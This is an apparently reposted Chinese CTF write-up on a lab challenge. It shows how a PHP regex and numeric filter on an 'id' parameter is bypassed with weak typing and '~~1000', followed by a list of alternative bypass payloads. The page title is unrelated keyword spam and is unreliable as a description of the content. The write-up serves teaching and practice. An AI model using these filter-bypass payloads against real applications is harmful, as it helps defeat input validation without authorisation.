当前位置: 首页> 健康> 养生 > 鄂州人民政府网站_贸易有限公司_谷歌搜索引擎免费入口_网络推广是诈骗吗

鄂州人民政府网站_贸易有限公司_谷歌搜索引擎免费入口_网络推广是诈骗吗

时间:2025/7/14 3:52:12来源:https://blog.csdn.net/Sweet_vinegar520/article/details/145844894 浏览次数:0次
鄂州人民政府网站_贸易有限公司_谷歌搜索引擎免费入口_网络推广是诈骗吗

##解题思路

这六道题,通杀了,只因为是PHP的特性

来,看web6,过滤最复杂的正则,而且不能解析成大于999的值,但是,php是弱类型的语言,我只要输入任意字符+数字,最终值就为0,数字+任意字符,最终值为数字,数字1+字符+数字2,最终值为数字,一开始我以为是这样过滤的

但~是一个很特殊的操作符,按位非(bitwise NOT)操作符,当应用于整数时,它会反转该数字的二进制表示中的所有位,

这就很耐人寻味了,~~也就是翻转再翻转,也就是没翻转,但又绕过了所有的正则,直接通杀,?id=~~1000即可

题外

此外网传payload还有以下语句

利用运算:

?id=2*500

?id=500/0.5

利用函数:

?id=round(999.9)

?id=power(10,3)

利用逻辑:

?id=‘1000%’

?id=!!1000

?id=/**/1000

?id=~~1000

?id=0000|1000

?id=0000%5E1000

?id=‘1000’

利用进制:

?id=0x3E8

?id=0b1111101000

关键字:鄂州人民政府网站_贸易有限公司_谷歌搜索引擎免费入口_网络推广是诈骗吗

版权声明:

本网仅为发布的内容提供存储空间,不对发表、转载的内容提供任何形式的保证。凡本网注明“来源:XXX网络”的作品,均转载自其它媒体,著作权归作者所有,商业转载请联系作者获得授权,非商业转载请注明出处。

我们尊重并感谢每一位作者,均已注明文章来源和作者。如因作品内容、版权或其它问题,请及时与我们联系,联系邮箱:809451989@qq.com,投稿邮箱:809451989@qq.com

责任编辑: